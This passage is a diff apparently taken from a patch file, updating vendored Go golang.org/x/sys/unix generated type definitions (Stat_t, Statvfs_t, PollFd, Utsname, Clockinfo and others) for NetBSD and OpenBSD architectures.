-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
- }
-
--const _SC_PAGESIZE = 0x1e
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-
--type Termios struct {
-- Iflag uint32
-- Oflag uint32
-- Cflag uint32
-- Lflag uint32
-- Line uint8
-- Cc [19]uint8
-- Ispeed uint32
-- Ospeed uint32
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
- }
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-index 42f99c0a..a89100c0 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,27 +57,54 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-+ Dev uint64
-+ Mode uint32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint32
-+ Bsize uint32
-+ Frsize uint32
-+ Iosize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint32
-+ Namemax uint32
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -99,6 +126,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -382,11 +427,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -399,3 +478,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-index ff290ba0..289184e0 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -58,30 +58,58 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint64
-+ Bsize uint64
-+ Frsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint64
-+ Namemax uint64
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+ _ [4]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -103,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -389,11 +435,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -406,3 +486,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-index 66dbd7c0..428c450e 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -59,30 +59,57 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint32
-+ Bsize uint32
-+ Frsize uint32
-+ Iosize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint32
-+ Namemax uint32
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -104,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -387,11 +432,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -404,3 +483,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-similarity index 73%
-copy from vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-index ff290ba0..6f1f2842 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -58,30 +58,58 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint64
-+ Bsize uint64
-+ Frsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint64
-+ Namemax uint64
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+ _ [4]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -103,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -389,11 +435,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -406,3 +486,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-index 20fc9f45..61ea0019 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,23 +56,6 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
- Mode uint32
- Dev int32
-@@ -140,6 +123,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -440,7 +427,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Anonpages int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Nanonneeded int32
-+ Nfreeanon int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Obsolete_swapins int32
-+ Obsolete_swapouts int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Zeroaborts int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Pdreanon int32
-+ Pdrevnode int32
-+ Pdrevtext int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-index 46fe9490..87a493f6 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,48 +56,31 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Pad_cgo_0 [4]byte
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ [4]byte
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -116,7 +99,7 @@ type Statfs_t struct {
- F_mntonname [90]int8
- F_mntfromname [90]int8
- F_mntfromspec [90]int8
-- Pad_cgo_1 [2]byte
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -129,19 +112,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]int8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -212,10 +199,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen uint32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -277,8 +264,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0xf8
-- SizeofIfData = 0xe0
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -307,7 +294,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -319,12 +306,11 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Lastchange Timeval
-- Mclpool [7]Mclpool
-- Pad_cgo_1 [4]byte
- }
-
- type IfaMsghdr struct {
-@@ -385,13 +371,7 @@ type RtMetrics struct {
- Pad uint32
- }
-
--type Mclpool struct {
-- Grown int32
-- Alive uint16
-- Hwm uint16
-- Cwm uint16
-- Lwm uint16
--}
-+type Mclpool struct{}
-
- const (
- SizeofBpfVersion = 0x4
-@@ -412,9 +392,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +405,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
